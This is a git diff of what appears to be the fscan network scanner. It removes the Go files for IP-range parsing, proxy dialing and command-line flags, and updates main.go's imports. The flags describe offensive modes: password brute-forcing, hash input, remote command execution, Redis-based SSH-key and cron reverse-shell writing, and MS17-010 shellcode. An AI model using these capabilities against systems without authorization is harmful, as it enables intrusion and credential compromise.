pass) - } - } - Passwords = PwdList - } - } - if Hashfile != "" { - hashs, err := Readfile(Hashfile) - if err == nil { - for _, line := range hashs { - if line == "" { - continue - } - if len(line) == 32 { - Hashs = append(Hashs, line) - } else { - fmt.Println("[-] len(hash) != 32 " + line) - } - } - } - } - if URL != "" { - urls := strings.Split(URL, ",") - TmpUrls := make(map[string]struct{}) - for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { - Urls = append(Urls, url) - } - } - } - } - if UrlFile != "" { - urls, err := Readfile(UrlFile) - if err == nil { - TmpUrls := make(map[string]struct{}) - for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { - Urls = append(Urls, url) - } - } - } - } - } - if PortFile != "" { - ports, err := Readfile(PortFile) - if err == nil { - newport := "" - for _, port := range ports { - if port != "" { - newport += port + "," - } - } - Ports = newport - } - } -} - -func Readfile(filename string) ([]string, error) { - file, err := os.Open(filename) - if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) - os.Exit(0) - } - defer file.Close() - var content []string - scanner := bufio.NewScanner(file) - scanner.Split(bufio.ScanLines) - for scanner.Scan() { - text := strings.TrimSpace(scanner.Text()) - if text != "" { - content = append(content, scanner.Text()) - } - } - return content, nil -} - -func ParseInput(Info *HostInfo) { - if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { - fmt.Println("Host is none") - flag.Usage() - os.Exit(0) - } - - if BruteThread <= 0 { - BruteThread = 1 - } - - if TmpSave == true { - IsSave = false - } - - if Ports == DefaultPorts { - Ports += "," + Webport - } - - if PortAdd != "" { - if strings.HasSuffix(Ports, ",") { - Ports += PortAdd - } else { - Ports += "," + PortAdd - } - } - - if UserAdd != "" { - user := strings.Split(UserAdd, ",") - for a := range Userdict { - Userdict[a] = append(Userdict[a], user...) - Userdict[a] = RemoveDuplicate(Userdict[a]) - } - } - - if PassAdd != "" { - pass := strings.Split(PassAdd, ",") - Passwords = append(Passwords, pass...) - Passwords = RemoveDuplicate(Passwords) - } - if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { - if !strings.Contains(Socks5Proxy, ":") { - Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy - } else { - Socks5Proxy = "socks5://" + Socks5Proxy - } - } - if Socks5Proxy != "" { - fmt.Println("Socks5Proxy:", Socks5Proxy) - _, err := url.Parse(Socks5Proxy) - if err != nil { - fmt.Println("Socks5Proxy parse error:", err) - os.Exit(0) - } - NoPing = true - } - if Proxy != "" { - if Proxy == "1" { - Proxy = "http://127.0.0.1:8080" - } else if Proxy == "2" { - Proxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(Proxy, "://") { - Proxy = "http://127.0.0.1:" + Proxy - } - fmt.Println("Proxy:", Proxy) - if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { - fmt.Println("no support this proxy") - os.Exit(0) - } - _, err := url.Parse(Proxy) - if err != nil { - fmt.Println("Proxy parse error:", err) - os.Exit(0) - } - } - - if Hash != "" && len(Hash) != 32 { - fmt.Println("[-] Hash is error,len(hash) must be 32") - os.Exit(0) - } else { - Hashs = append(Hashs, Hash) - } - Hashs = RemoveDuplicate(Hashs) - for _, hash := range Hashs { - hashbyte, err := hex.DecodeString(Hash) - if err != nil { - fmt.Println("[-] Hash is error,hex decode error ", hash) - continue - } else { - HashBytes = append(HashBytes, hashbyte) - } - } - Hashs = []string{} -} - -func ParseScantype(Info *HostInfo) { - _, ok := PORTList[Scantype] - if !ok { - showmode() - } - if Scantype != "all" && Ports == DefaultPorts+","+Webport { - switch Scantype { - case "wmiexec": - Ports = "135" - case "wmiinfo": - Ports = "135" - case "smbinfo": - Ports = "445" - case "hostname": - Ports = "135,137,139,445" - case "smb2": - Ports = "445" - case "web": - Ports = Webport - case "webonly": - Ports = Webport - case "ms17010": - Ports = "445" - case "cve20200796": - Ports = "445" - case "portscan": - Ports = DefaultPorts + "," + Webport - case "main": - Ports = DefaultPorts - default: - port, _ := PORTList[Scantype] - Ports = strconv.Itoa(port) - } - fmt.Println("-m ", Scantype, " start scan the port:", Ports) - } -} - -func CheckErr(text string, err error, flag bool) { - if err != nil { - fmt.Println("Parse", text, "error: ", err.Error()) - if flag { - if err != ParseIPErr { - fmt.Println(ParseIPErr) - } - os.Exit(0) - } - } -} - -func showmode() { - fmt.Println("The specified scan type does not exist") - fmt.Println("-m") - for name := range PORTList { - fmt.Println(" [" + name + "]") - } - os.Exit(0) -} diff --git a/common/ParseIP.go b/common/ParseIP.go deleted file mode 100644 index 66084beb..00000000 --- a/common/ParseIP.go +++ /dev/null @@ -1,274 +0,0 @@ -package common - -import ( - "bufio" - "errors" - "fmt" - "math/rand" - "net" - "os" - "regexp" - "sort" - "strconv" - "strings" -) - -var ParseIPErr = errors.New(" host parsing error\n" + - "format: \n" + - "192.168.1.1\n" + - "192.168.1.1/8\n" + - "192.168.1.1/16\n" + - "192.168.1.1/24\n" + - "192.168.1.1,192.168.1.2\n" + - "192.168.1.1-192.168.255.255\n" + - "192.168.1.1-255") - -func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { - if filename == "" && strings.Contains(host, ":") { - //192.168.0.0/16:80 - hostport := strings.Split(host, ":") - if len(hostport) == 2 { - host = hostport[0] - hosts = ParseIPs(host) - Ports = hostport[1] - } - } else { - hosts = ParseIPs(host) - if filename != "" { - var filehost []string - filehost, _ = Readipfile(filename) - hosts = append(hosts, filehost...) - } - } - - if len(nohosts) > 0 { - nohost := nohosts[0] - if nohost != "" { - nohosts := ParseIPs(nohost) - if len(nohosts) > 0 { - temp := map[string]struct{}{} - for _, host := range hosts { - temp[host] = struct{}{} - } - - for _, host := range nohosts { - delete(temp, host) - } - - var newDatas []string - for host := range temp { - newDatas = append(newDatas, host) - } - hosts = newDatas - sort.Strings(hosts) - } - } - } - hosts = RemoveDuplicate(hosts) - if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { - err = ParseIPErr - } - return -} - -func ParseIPs(ip string) (hosts []string) { - if strings.Contains(ip, ",") { - IPList := strings.Split(ip, ",") - var ips []string - for _, ip := range IPList { - ips = parseIP(ip) - hosts = append(hosts, ips...) - } - } else { - hosts = parseIP(ip) - } - return hosts -} - -func parseIP(ip string) []string { - reg := regexp.MustCompile(`[a-zA-Z]+`) - switch { - case ip == "192": - return parseIP("192.168.0.0/8") - case ip == "172": - return parseIP("172.16.0.0/12") - case ip == "10": - return parseIP("10.0.0.0/8") - // 扫描/8时,只扫网关和随机IP,避免扫描过多IP - case strings.HasSuffix(ip, "/8"): - return parseIP8(ip) - //解析 /24 /16 /8 /xxx 等 - case strings.Contains(ip, "/"): - return parseIP2(ip) - //可能是域名,用lookup获取ip - case reg.MatchString(ip): - // _, err := net.LookupHost(ip) - // if err != nil { - // return nil - // } - return []string{ip} - //192.168.1.1-192.168.1.100 - case strings.Contains(ip, "-"): - return parseIP1(ip) - //处理单个ip - default: - testIP := net.ParseIP(ip) - if testIP == nil { - return nil - } - return []string{ip} - } -} - -// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x -func parseIP2(host string) (hosts []string) { - _, ipNet, err := net.ParseCIDR(host) - if err != nil { - return - } - hosts = parseIP1(IPRange(ipNet)) - return -} - -// 解析ip段: -// -// 192.168.111.1-255 -// 192.168.111.1-192.168.112.255 -func parseIP1(ip string) []string { - IPRange := strings.Split(ip, "-") - testIP := net.ParseIP(IPRange[0]) - var AllIP []string - if len(IPRange[1]) < 4 { - Range, err := strconv.Atoi(IPRange[1]) - if testIP == nil || Range > 255 || err != nil { - return nil - } - SplitIP := strings.Split(IPRange[0], ".") - ip1, err1 := strconv.Atoi(SplitIP[3]) - ip2, err2 := strconv.Atoi(IPRange[1]) - PrefixIP := strings.Join(SplitIP[0:3], ".") - if ip1 > ip2 || err1 != nil || err2 != nil { - return nil - } - for i := ip1; i <= ip2; i++ { - AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i)) - } - } else { - SplitIP1 := strings.Split(IPRange[0], ".") - SplitIP2 := strings.Split(IPRange[1], ".") - if len(SplitIP1) != 4 || len(SplitIP2) != 4 { - return nil - } - start, end := [4]int{}, [4]int{} - for i := 0; i < 4; i++ { - ip1, err1 := strconv.Atoi(SplitIP1[i]) - ip2, err2 := strconv.Atoi(SplitIP2[i]) - if ip1 > ip2 || err1 != nil || err2 != nil { - return nil - } - start[i], end[i] = ip1, ip2 - } - startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] - endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] - for num := startNum; num <= endNum; num++ { - ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) - AllIP = append(AllIP, ip) - } - } - return AllIP -} - -// 获取起始IP、结束IP -func IPRange(c *net.IPNet) string { - start := c.IP.String() - mask := c.Mask - bcst := make(net.IP, len(c.IP)) - copy(bcst, c.IP) - for i := 0; i < len(mask); i++ { - ipIdx := len(bcst) - i - 1 - bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] - } - end := bcst.String() - return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255 -} - -// 按行读ip -func Readipfile(filename string) ([]string, error) { - file, err := os.Open(filename) - if err != nil { - fmt.Printf("Open %s error, %v", filename, err) - os.Exit(0) - } - defer file.Close() - var content []string - scanner := bufio.NewScanner(file) - scanner.Split(bufio.ScanLines) - for scanner.Scan() { - line := strings.TrimSpace(scanner.Text()) - if line != "" { - text := strings.Split(line, ":") - if len(text) == 2 { - port := strings.Split(text[1], " ")[0] - num, err := strconv.Atoi(port) - if err != nil || (num < 1 || num > 65535) { - continue - } - hosts := ParseIPs(text[0]) - for _, host := range hosts { - HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) - } - } else { - host := ParseIPs(line) - content = append(content, host...) - } - } - } - return content, nil -} - -// 去重 -func RemoveDuplicate(old []string) []string { - result := []string{} - temp := map[string]struct{}{} - for _, item := range old { - if _, ok := temp[item]; !ok { - temp[item] = struct{}{} - result = append(result, item) - } - } - return result -} - -func parseIP8(ip string) []string { - realIP := ip[:len(ip)-2] - testIP := net.ParseIP(realIP) - - if testIP == nil { - return nil - } - - IPrange := strings.Split(ip, ".")[0] - var AllIP []string - for a := 0; a <= 255; a++ { - for b := 0; b <= 255; b++ { - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 1)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 2)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 4)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 5)) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(6, 55))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(56, 100))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(101, 150))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(151, 200))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(201, 253))) - AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 254)) - } - } - return AllIP -} - -func RandInt(min, max int) int { - if min >= max || min == 0 || max == 0 { - return max - } - return rand.Intn(max-min) + min -} diff --git a/common/flag.go b/common/flag.go deleted file mode 100644 index 571f8d4b..00000000 --- a/common/flag.go +++ /dev/null @@ -1,72 +0,0 @@ -package common - -import ( - "flag" -) - -func Banner() { - banner := ` - ___ _ - / _ \ ___ ___ _ __ __ _ ___| | __ - / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / -/ /_\\_____\__ \ (__| | | (_| | (__| < -\____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: ` + version + ` -` - print(banner) -} - -func Flag(Info *HostInfo) { - Banner() - flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") - flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") - flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") - flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") - flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") - flag.StringVar(&Domain, "domain", "", "smb domain") - flag.StringVar(&Username, "user", "", "username") - flag.StringVar(&Password, "pwd", "", "password") - flag.Int64Var(&Timeout, "time", 3, "Set timeout") - flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") - flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") - flag.IntVar(&Threads, "t", 600, "Thread nums") - flag.IntVar(&LiveTop, "top", 10, "show live len top") - flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") - flag.StringVar(&Userfile, "userf", "", "username file") - flag.StringVar(&Passfile, "pwdf", "", "password file") - flag.StringVar(&Hashfile, "hashf", "", "hash file") - flag.StringVar(&PortFile, "portf", "", "Port File") - flag.StringVar(&PocPath, "pocpath", "", "poc file path") - flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") - flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") - flag.BoolVar(&NoPoc, "nopoc", false, "not to scan web vul") - flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") - flag.IntVar(&BruteThread, "br", 1, "Brute threads") - flag.BoolVar(&NoPing, "np", false, "not to ping") - flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") - flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") - flag.BoolVar(&TmpSave, "no", false, "not to save output log") - flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") - flag.BoolVar(&Silent, "silent", false, "silent scan") - flag.BoolVar(&Nocolor, "nocolor", false, "no color") - flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") - flag.StringVar(&URL, "u", "", "url") - flag.StringVar(&UrlFile, "uf", "", "urlfile") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") - flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") - flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") - flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") - flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") - flag.IntVar(&PocNum, "num", 20, "poc rate") - flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") - flag.BoolVar(&IsWmi, "wmi", false, "start wmi") - flag.StringVar(&Hash, "hash", "", "hash") - flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test") - flag.BoolVar(&JsonOutput, "json", false, "json output") - flag.Parse() -} diff --git a/common/proxy.go b/common/proxy.go deleted file mode 100644 index 780c9d08..00000000 --- a/common/proxy.go +++ /dev/null @@ -1,65 +0,0 @@ -package common - -import ( - "errors" - "golang.org/x/net/proxy" - "net" - "net/url" - "strings" - "time" -) - -func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { - d := &net.Dialer{Timeout: timeout} - return WrapperTCP(network, address, d) -} - -func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { - //get conn - var conn net.Conn - if Socks5Proxy == "" { - var err error - conn, err = forward.Dial(network, address) - if err != nil { - return nil, err - } - } else { - dailer, err := Socks5Dailer(forward) - if err != nil { - return nil, err - } - conn, err = dailer.Dial(network, address) - if err != nil { - return nil, err - } - } - return conn, nil - -} - -func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) { - u, err := url.Parse(Socks5Proxy) - if err != nil { - return nil, err - } - if strings.ToLower(u.Scheme) != "socks5" { - return nil, errors.New("Only support socks5") - } - address := u.Host - var auth proxy.Auth - var dailer proxy.Dialer - if u.User.String() != "" { - auth = proxy.Auth{} - auth.User = u.User.Username() - password, _ := u.User.Password() - auth.Password = password - dailer, err = proxy.SOCKS5("tcp", address, &auth, forward) - } else { - dailer, err = proxy.SOCKS5("tcp", address, nil, forward) - } - - if err != nil { - return nil, err - } - return dailer, nil -} diff --git a/main.go b/main.go index 64b229d9..f2c5bcea 100644 --- a/main.go +++ b/main.go @@ -2,16 +2,16 @@ package main import ( "fmt" - "github.com/shadow1ng/fscan/Plugins" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Core" "time" ) func main() { start := time.Now() - var Info common.HostInfo - common.Flag(&Info) - common.Parse(&Info) - Plugins.Scan(Info) + var Info Common.HostInfo + Common.Flag(&Info) + Common.Parse(&Info) + Core.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) }